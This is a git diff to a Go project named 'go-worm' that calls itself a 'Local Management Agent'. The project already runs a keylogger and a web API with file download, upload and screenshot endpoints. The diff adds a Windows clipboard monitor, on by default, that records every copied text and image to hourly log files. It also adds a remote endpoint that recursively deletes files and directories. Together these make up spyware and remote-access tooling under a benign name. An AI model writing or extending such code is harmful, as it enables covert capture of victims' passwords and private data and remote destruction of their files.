diff --git a/lib/agent/agent.go b/lib/agent/agent.go
index 52828ed..84866f2 100644
--- a/lib/agent/agent.go
+++ b/lib/agent/agent.go
@@ -11,6 +11,7 @@ import (
"strings"
"time"
+ "tea.chunkbyte.com/kato/go-worm/lib/clipmon"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/files"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
@@ -48,10 +49,14 @@ func New() (*Agent, error) {
if err := keylog.Start(); err != nil {
helpers.Log.Printf("keylog start: %v", err)
}
+ if err := clipmon.Start(); err != nil {
+ helpers.Log.Printf("clipboard monitor start: %v", err)
+ }
return a, nil
}
func (a *Agent) Close() {
+ clipmon.Stop()
keylog.Stop()
if a.guard != nil {
a.guard.Close()
diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go
index 0ab794e..39cd15a 100644
--- a/lib/agent/handlers.go
+++ b/lib/agent/handlers.go
@@ -42,7 +42,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
"paths": map[string]any{
"/api/v1/status": map[string]any{"get": map[string]string{"summary": "Agent status"}},
- "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}},
+ "/api/v1/files": map[string]any{"get": map[string]string{"summary": "List files"}, "delete": map[string]string{"summary": "Delete a file or directory"}},
"/api/v1/download": map[string]any{"get": map[string]string{"summary": "Download file"}},
"/api/v1/upload": map[string]any{"post": map[string]string{"summary": "Upload a file to a directory"}},
"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
@@ -92,10 +92,17 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
}
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
- if r.Method != http.MethodGet {
+ switch r.Method {
+ case http.MethodGet:
+ a.listFiles(w, r)
+ case http.MethodDelete:
+ a.deleteFile(w, r)
+ default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
- return
}
+}
+
+func (a *Agent) listFiles(w http.ResponseWriter, r *http.Request) {
depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
if err != nil {
helpers.WriteError(w, http.StatusBadRequest, err.Error())
@@ -127,6 +134,19 @@ func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
}
+func (a *Agent) deleteFile(w http.ResponseWriter, r *http.Request) {
+ path := r.URL.Query().Get("path")
+ if path == "" {
+ helpers.WriteError(w, http.StatusBadRequest, "path is required")
+ return
+ }
+ if err := files.RemovePath(a.root, path); err != nil {
+ files.WritePathError(w, err)
+ return
+ }
+ helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "path": path})
+}
+
func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js
index 29e7830..beb137c 100644
--- a/lib/agent/web/app.js
+++ b/lib/agent/web/app.js
@@ -130,6 +130,15 @@
return res.json();
}
+ async function deleteFile(fullPath, name) {
+ if (!confirm(`Delete ${name}?`)) {
+ return;
+ }
+ const query = new URLSearchParams({ path: fullPath });
+ await api(`/api/v1/files?${query}`, { method: "DELETE" });
+ await listFiles(pathInput.value.trim());
+ }
+
async function listFiles(path) {
const query = new URLSearchParams();
if (path) query.set("path", path);
@@ -164,7 +173,17 @@
size.textContent = entry.type === "dir" ? "—" : formatBytes(entry.size || 0);
const modified = document.createElement("td");
modified.textContent = entry.modified_time ? new Date(entry.modified_time).toLocaleString() : "";
- tr.append(name, type, size, modified);
+ const action = document.createElement("td");
+ const del = document.createElement("button");
+ del.type = "button";
+ del.textContent = "Delete";
+ const full = joinPath(data.path, entry.name);
+ del.addEventListener("click", (event) => {
+ event.stopPropagation();
+ deleteFile(full, entry.name).catch((err) => showError(err.message));
+ });
+ action.append(del);
+ tr.append(name, type, size, modified, action);
fileRows.append(tr);
}
}
diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html
index 4642055..53a8826 100644
--- a/lib/agent/web/index.html
+++ b/lib/agent/web/index.html
@@ -171,7 +171,7 @@
- | Name | Type | Size | Modified |
+ | Name | Type | Size | Modified | |
diff --git a/lib/clipmon/clipmon.go b/lib/clipmon/clipmon.go
new file mode 100644
index 0000000..d1e46a6
--- /dev/null
+++ b/lib/clipmon/clipmon.go
@@ -0,0 +1,104 @@
+package clipmon
+
+import (
+ "sync"
+ "time"
+
+ "tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+var (
+ mu sync.Mutex
+ running bool
+ writer *Writer
+ events chan Event
+ stopCh chan struct{}
+ doneCh chan struct{}
+ writerWG sync.WaitGroup
+)
+
+func Start() error {
+ if !config.ClipboardEnabled() {
+ return nil
+ }
+
+ mu.Lock()
+ defer mu.Unlock()
+ if running {
+ return nil
+ }
+ dir, err := config.ClipboardDir()
+ if err != nil {
+ return err
+ }
+ if err := PruneOld(dir, config.ClipboardRetentionDays()); err != nil {
+ return err
+ }
+ w, err := NewWriter(dir)
+ if err != nil {
+ return err
+ }
+ events = make(chan Event, 64)
+ stopCh = make(chan struct{})
+ doneCh = make(chan struct{})
+
+ writerWG.Add(1)
+ go func() {
+ defer writerWG.Done()
+ for {
+ select {
+ case event := <-events:
+ _ = w.Write(event)
+ case <-stopCh:
+ _ = w.Close()
+ return
+ }
+ }
+ }()
+
+ if err := startPlatform(w, events, stopCh, doneCh); err != nil {
+ close(stopCh)
+ writerWG.Wait()
+ events = nil
+ stopCh = nil
+ doneCh = nil
+ return err
+ }
+
+ writer = w
+ running = true
+ return nil
+}
+
+func Stop() {
+ mu.Lock()
+ if !running {
+ mu.Unlock()
+ return
+ }
+ stop := stopCh
+ done := doneCh
+ running = false
+ writer = nil
+ events = nil
+ stopCh = nil
+ doneCh = nil
+ mu.Unlock()
+
+ if stop != nil {
+ close(stop)
+ }
+ writerWG.Wait()
+ if done != nil {
+ <-done
+ }
+}
+
+func emit(event Event) {
+ event.Time = time.Now()
+ select {
+ case events <- event:
+ default:
+ // ponytail: drop when full
+ }
+}
diff --git a/lib/clipmon/clipmon_test.go b/lib/clipmon/clipmon_test.go
new file mode 100644
index 0000000..b951b41
--- /dev/null
+++ b/lib/clipmon/clipmon_test.go
@@ -0,0 +1,58 @@
+package clipmon
+
+import (
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+ "time"
+)
+
+func TestFormatLine(t *testing.T) {
+ t.Parallel()
+ when := time.Date(2026, 8, 28, 13, 4, 5, 0, time.UTC)
+ line := formatLine(Event{Time: when, Kind: "text", Text: "hello"})
+ if !strings.Contains(line, "[text]") || !strings.Contains(line, "hello") {
+ t.Fatalf("formatLine text = %q", line)
+ }
+ img := formatLine(Event{Time: when, Kind: "image", ImagePath: "images/ab.png"})
+ if !strings.Contains(img, "[image] images/ab.png") {
+ t.Fatalf("formatLine image = %q", img)
+ }
+}
+
+func TestWriterHourly(t *testing.T) {
+ dir := t.TempDir()
+ w, err := NewWriter(dir)
+ if err != nil {
+ t.Fatalf("NewWriter: %v", err)
+ }
+ when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local)
+ if err := w.Write(Event{Time: when, Kind: "text", Text: "copied"}); err != nil {
+ t.Fatalf("Write: %v", err)
+ }
+ _ = w.Close()
+
+ data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when))))
+ if err != nil {
+ t.Fatalf("read log: %v", err)
+ }
+ if !strings.Contains(string(data), "copied") {
+ t.Fatalf("log = %q", data)
+ }
+}
+
+func TestSavePNG(t *testing.T) {
+ dir := t.TempDir()
+ w, err := NewWriter(dir)
+ if err != nil {
+ t.Fatalf("NewWriter: %v", err)
+ }
+ rel, err := w.SavePNG([]byte{0x89, 'P', 'N', 'G', 0, 0, 0})
+ if err != nil {
+ t.Fatalf("SavePNG: %v", err)
+ }
+ if !strings.HasPrefix(rel, "images/") {
+ t.Fatalf("rel = %q", rel)
+ }
+}
diff --git a/lib/clipmon/event.go b/lib/clipmon/event.go
new file mode 100644
index 0000000..c200682
--- /dev/null
+++ b/lib/clipmon/event.go
@@ -0,0 +1,10 @@
+package clipmon
+
+import "time"
+
+type Event struct {
+ Time time.Time
+ Kind string // "text" or "image"
+ Text string
+ ImagePath string // relative to clipboard dir, e.g. images/abc.png
+}
diff --git a/lib/clipmon/format.go b/lib/clipmon/format.go
new file mode 100644
index 0000000..9ced3e5
--- /dev/null
+++ b/lib/clipmon/format.go
@@ -0,0 +1,37 @@
+package clipmon
+
+import (
+ "fmt"
+ "path/filepath"
+ "regexp"
+ "strings"
+ "time"
+)
+
+const hourBucketLayout = "2006-01-02-15"
+
+var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
+
+func HourBucket(t time.Time) string {
+ return t.Local().Format(hourBucketLayout)
+}
+
+func LogFilename(bucket string) string {
+ return bucket + ".log"
+}
+
+func ValidLogFilename(name string) bool {
+ return logFilenamePattern.MatchString(filepath.Base(name))
+}
+
+func formatLine(event Event) string {
+ when := event.Time.UTC().Format("2006-01-02T15:04:05.000Z")
+ switch event.Kind {
+ case "image":
+ return fmt.Sprintf("%s [image] %s\n", when, event.ImagePath)
+ default:
+ text := strings.ReplaceAll(event.Text, "\r\n", "\n")
+ text = strings.ReplaceAll(text, "\r", "\n")
+ return fmt.Sprintf("%s [text]\n%s\n", when, text)
+ }
+}
diff --git a/lib/clipmon/monitor_stub.go b/lib/clipmon/monitor_stub.go
new file mode 100644
index 0000000..f62d4e4
--- /dev/null
+++ b/lib/clipmon/monitor_stub.go
@@ -0,0 +1,8 @@
+//go:build !windows
+
+package clipmon
+
+func startPlatform(_ *Writer, _ chan Event, _ <-chan struct{}, done chan struct{}) error {
+ close(done)
+ return nil
+}
diff --git a/lib/clipmon/monitor_windows.go b/lib/clipmon/monitor_windows.go
new file mode 100644
index 0000000..c3d0715
--- /dev/null
+++ b/lib/clipmon/monitor_windows.go
@@ -0,0 +1,231 @@
+//go:build windows
+
+package clipmon
+
+import (
+ "bytes"
+ "encoding/binary"
+ "image"
+ "image/color"
+ "image/png"
+ "strings"
+ "syscall"
+ "time"
+ "unsafe"
+)
+
+const (
+ cfBitmap = 2
+ cfDIB = 8
+ cfUnicodeText = 13
+)
+
+var (
+ user32 = syscall.NewLazyDLL("user32.dll")
+ kernel32 = syscall.NewLazyDLL("kernel32.dll")
+ procOpenClipboard = user32.NewProc("OpenClipboard")
+ procCloseClipboard = user32.NewProc("CloseClipboard")
+ procGetClipboardData = user32.NewProc("GetClipboardData")
+ procIsClipboardFormatAvailable = user32.NewProc("IsClipboardFormatAvailable")
+ procGetClipboardSequenceNumber = user32.NewProc("GetClipboardSequenceNumber")
+ procGlobalLock = kernel32.NewProc("GlobalLock")
+ procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
+ procGlobalSize = kernel32.NewProc("GlobalSize")
+)
+
+type bitmapInfoHeader struct {
+ Size uint32
+ Width int32
+ Height int32
+ Planes uint16
+ BitCount uint16
+ Compression uint32
+ SizeImage uint32
+ XPelsPerMeter int32
+ YPelsPerMeter int32
+ ClrUsed uint32
+ ClrImportant uint32
+}
+
+func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
+ go func() {
+ defer close(done)
+ pollClipboard(w, stop)
+ }()
+ return nil
+}
+
+func pollClipboard(w *Writer, stop <-chan struct{}) {
+ lastSeq := sequenceNumber()
+ ticker := time.NewTicker(300 * time.Millisecond)
+ defer ticker.Stop()
+
+ for {
+ select {
+ case <-stop:
+ return
+ case <-ticker.C:
+ seq := sequenceNumber()
+ if seq == lastSeq {
+ continue
+ }
+ lastSeq = seq
+ captureClipboard(w)
+ }
+ }
+}
+
+func sequenceNumber() uint32 {
+ n, _, _ := procGetClipboardSequenceNumber.Call()
+ return uint32(n)
+}
+
+func captureClipboard(w *Writer) {
+ ok, _, _ := procOpenClipboard.Call(0)
+ if ok == 0 {
+ return
+ }
+ defer procCloseClipboard.Call()
+
+ if text, ok := readClipboardText(); ok && strings.TrimSpace(text) != "" {
+ emit(Event{Kind: "text", Text: TrimText(text)})
+ }
+ if pngData, ok := readClipboardImage(); ok {
+ rel, err := w.SavePNG(pngData)
+ if err != nil {
+ return
+ }
+ emit(Event{Kind: "image", ImagePath: rel})
+ }
+}
+
+func readClipboardText() (string, bool) {
+ ok, _, _ := procIsClipboardFormatAvailable.Call(cfUnicodeText)
+ if ok == 0 {
+ return "", false
+ }
+ handle, _, _ := procGetClipboardData.Call(cfUnicodeText)
+ if handle == 0 {
+ return "", false
+ }
+ ptr, _, _ := procGlobalLock.Call(handle)
+ if ptr == 0 {
+ return "", false
+ }
+ defer procGlobalUnlock.Call(handle)
+ size, _, _ := procGlobalSize.Call(handle)
+ if size == 0 {
+ return "", false
+ }
+ data := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), size/2)
+ for i, unit := range data {
+ if unit == 0 {
+ return syscall.UTF16ToString(data[:i]), true
+ }
+ }
+ return syscall.UTF16ToString(data), true
+}
+
+func readClipboardImage() ([]byte, bool) {
+ if dib, ok := readClipboardDIB(); ok {
+ return dib, true
+ }
+ return readClipboardBitmap()
+}
+
+func readClipboardDIB() ([]byte, bool) {
+ ok, _, _ := procIsClipboardFormatAvailable.Call(cfDIB)
+ if ok == 0 {
+ return nil, false
+ }
+ handle, _, _ := procGetClipboardData.Call(cfDIB)
+ if handle == 0 {
+ return nil, false
+ }
+ ptr, _, _ := procGlobalLock.Call(handle)
+ if ptr == 0 {
+ return nil, false
+ }
+ defer procGlobalUnlock.Call(handle)
+ size, _, _ := procGlobalSize.Call(handle)
+ if size == 0 {
+ return nil, false
+ }
+ raw := unsafe.Slice((*byte)(unsafe.Pointer(ptr)), size)
+ return dibToPNG(append([]byte(nil), raw...))
+}
+
+func readClipboardBitmap() ([]byte, bool) {
+ ok, _, _ := procIsClipboardFormatAvailable.Call(cfBitmap)
+ if ok == 0 {
+ return nil, false
+ }
+ // ponytail: CF_BITMAP needs a DC to read pixels; most apps also publish CF_DIB
+ return nil, false
+}
+
+func dibToPNG(raw []byte) ([]byte, bool) {
+ if len(raw) < int(unsafe.Sizeof(bitmapInfoHeader{})) {
+ return nil, false
+ }
+ var header bitmapInfoHeader
+ if err := binary.Read(bytes.NewReader(raw), binary.LittleEndian, &header); err != nil {
+ return nil, false
+ }
+ if header.Size < uint32(unsafe.Sizeof(bitmapInfoHeader{})) || header.BitCount != 24 && header.BitCount != 32 {
+ return nil, false
+ }
+ width := int(header.Width)
+ height := int(header.Height)
+ if width <= 0 || height <= 0 || width > 8192 || height > 8192 {
+ return nil, false
+ }
+ topDown := false
+ if height < 0 {
+ topDown = true
+ height = -height
+ }
+
+ headerSize := int(header.Size)
+ colorTable := int(header.ClrUsed) * 4
+ if header.BitCount <= 8 && header.ClrUsed == 0 {
+ colorTable = (1 << header.BitCount) * 4
+ }
+ offset := headerSize + colorTable
+ if offset > len(raw) {
+ return nil, false
+ }
+ pixels := raw[offset:]
+ stride := ((width*int(header.BitCount) + 31) / 32) * 4
+ if len(pixels) < stride*height {
+ return nil, false
+ }
+
+ img := image.NewRGBA(image.Rect(0, 0, width, height))
+ bytesPerPixel := int(header.BitCount) / 8
+ for y := 0; y < height; y++ {
+ srcY := y
+ if !topDown {
+ srcY = height - 1 - y
+ }
+ row := pixels[srcY*stride:]
+ for x := 0; x < width; x++ {
+ i := x * bytesPerPixel
+ if i+2 >= len(row) {
+ continue
+ }
+ b, g, r := row[i], row[i+1], row[i+2]
+ a := uint8(255)
+ if bytesPerPixel == 4 && i+3 < len(row) {
+ a = row[i+3]
+ }
+ img.SetRGBA(x, y, color.RGBA{R: r, G: g, B: b, A: a})
+ }
+ }
+
+ var out bytes.Buffer
+ if err := png.Encode(&out, img); err != nil {
+ return nil, false
+ }
+ return out.Bytes(), true
+}
diff --git a/lib/clipmon/writer.go b/lib/clipmon/writer.go
new file mode 100644
index 0000000..69513ac
--- /dev/null
+++ b/lib/clipmon/writer.go
@@ -0,0 +1,153 @@
+package clipmon
+
+import (
+ "crypto/rand"
+ "encoding/hex"
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+ "time"
+)
+
+const maxLoggedText = 1 << 16 // ponytail: 64KB cap per clipboard text entry
+
+type Writer struct {
+ dir string
+ imagesDir string
+ file *os.File
+ bucket string
+}
+
+func NewWriter(dir string) (*Writer, error) {
+ imagesDir := filepath.Join(dir, "images")
+ if err := os.MkdirAll(imagesDir, 0o700); err != nil {
+ return nil, err
+ }
+ return &Writer{dir: dir, imagesDir: imagesDir}, nil
+}
+
+func (w *Writer) Write(event Event) error {
+ bucket := HourBucket(event.Time)
+ if bucket != w.bucket {
+ if err := w.rotate(bucket); err != nil {
+ return err
+ }
+ }
+ _, err := w.file.WriteString(formatLine(event))
+ return err
+}
+
+func (w *Writer) SavePNG(data []byte) (string, error) {
+ name, err := randomName(".png")
+ if err != nil {
+ return "", err
+ }
+ path := filepath.Join(w.imagesDir, name)
+ if err := os.WriteFile(path, data, 0o600); err != nil {
+ return "", fmt.Errorf("write image: %w", err)
+ }
+ return filepath.ToSlash(filepath.Join("images", name)), nil
+}
+
+func (w *Writer) rotate(bucket string) error {
+ if w.file != nil {
+ if err := w.file.Close(); err != nil {
+ return err
+ }
+ w.file = nil
+ }
+ path := filepath.Join(w.dir, LogFilename(bucket))
+ file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
+ if err != nil {
+ return err
+ }
+ w.file = file
+ w.bucket = bucket
+ return nil
+}
+
+func (w *Writer) Close() error {
+ if w.file == nil {
+ return nil
+ }
+ err := w.file.Close()
+ w.file = nil
+ w.bucket = ""
+ return err
+}
+
+func TrimText(text string) string {
+ if len(text) <= maxLoggedText {
+ return text
+ }
+ return text[:maxLoggedText] + "\n...(truncated)"
+}
+
+func randomName(ext string) (string, error) {
+ var buf [16]byte
+ if _, err := rand.Read(buf[:]); err != nil {
+ return "", err
+ }
+ if !strings.HasPrefix(ext, ".") {
+ ext = "." + ext
+ }
+ return hex.EncodeToString(buf[:]) + ext, nil
+}
+
+func PruneOld(dir string, retentionDays int) error {
+ if retentionDays <= 0 {
+ return nil
+ }
+ cutoff := time.Now().AddDate(0, 0, -retentionDays)
+ if err := pruneLogs(dir, cutoff); err != nil {
+ return err
+ }
+ return pruneImages(filepath.Join(dir, "images"), cutoff)
+}
+
+func pruneLogs(dir string, cutoff time.Time) error {
+ entries, err := os.ReadDir(dir)
+ if err != nil {
+ if os.IsNotExist(err) {
+ return nil
+ }
+ return err
+ }
+ for _, entry := range entries {
+ if entry.IsDir() || !ValidLogFilename(entry.Name()) {
+ continue
+ }
+ info, err := entry.Info()
+ if err != nil {
+ continue
+ }
+ if info.ModTime().Before(cutoff) {
+ _ = os.Remove(filepath.Join(dir, entry.Name()))
+ }
+ }
+ return nil
+}
+
+func pruneImages(dir string, cutoff time.Time) error {
+ entries, err := os.ReadDir(dir)
+ if err != nil {
+ if os.IsNotExist(err) {
+ return nil
+ }
+ return err
+ }
+ for _, entry := range entries {
+ if entry.IsDir() {
+ continue
+ }
+ info, err := entry.Info()
+ if err != nil {
+ continue
+ }
+ if info.ModTime().Before(cutoff) {
+ _ = os.Remove(filepath.Join(dir, entry.Name()))
+ }
+ }
+ return nil
+}
diff --git a/lib/config/config.go b/lib/config/config.go
index a7ed25b..d104db1 100644
--- a/lib/config/config.go
+++ b/lib/config/config.go
@@ -25,6 +25,7 @@ const (
AppDataDir = "LocalManagementAgent"
InstalledExeName = "localagent.exe"
KeylogSubdir = "keystrokes"
+ ClipboardSubdir = "clipboard"
DefaultKeylogRetentionDays = 7
)
@@ -79,3 +80,32 @@ func InstalledExe() (string, error) {
}
return filepath.Join(dir, InstalledExeName), nil
}
+
+func ClipboardEnabled() bool {
+ switch strings.ToLower(strings.TrimSpace(os.Getenv("CLIPBOARD_ENABLED"))) {
+ case "0", "false", "no", "off":
+ return false
+ default:
+ return true
+ }
+}
+
+func ClipboardRetentionDays() int {
+ raw := strings.TrimSpace(os.Getenv("CLIPBOARD_RETENTION_DAYS"))
+ if raw == "" {
+ return KeylogRetentionDays()
+ }
+ days, err := strconv.Atoi(raw)
+ if err != nil || days < 0 {
+ return DefaultKeylogRetentionDays
+ }
+ return days
+}
+
+func ClipboardDir() (string, error) {
+ base, err := InstallDir()
+ if err != nil {
+ return "", err
+ }
+ return filepath.Join(base, ClipboardSubdir), nil
+}
diff --git a/lib/files/files.go b/lib/files/files.go
index 2225fa7..50a0ebc 100644
--- a/lib/files/files.go
+++ b/lib/files/files.go
@@ -166,3 +166,18 @@ func UploadTarget(root, dir, filename string) (string, error) {
}
return target, nil
}
+
+func RemovePath(root, raw string) error {
+ path, err := AllowedPath(root, raw, true)
+ if err != nil {
+ return err
+ }
+ info, err := os.Stat(path)
+ if err != nil {
+ return err
+ }
+ if info.IsDir() {
+ return os.RemoveAll(path)
+ }
+ return os.Remove(path)
+}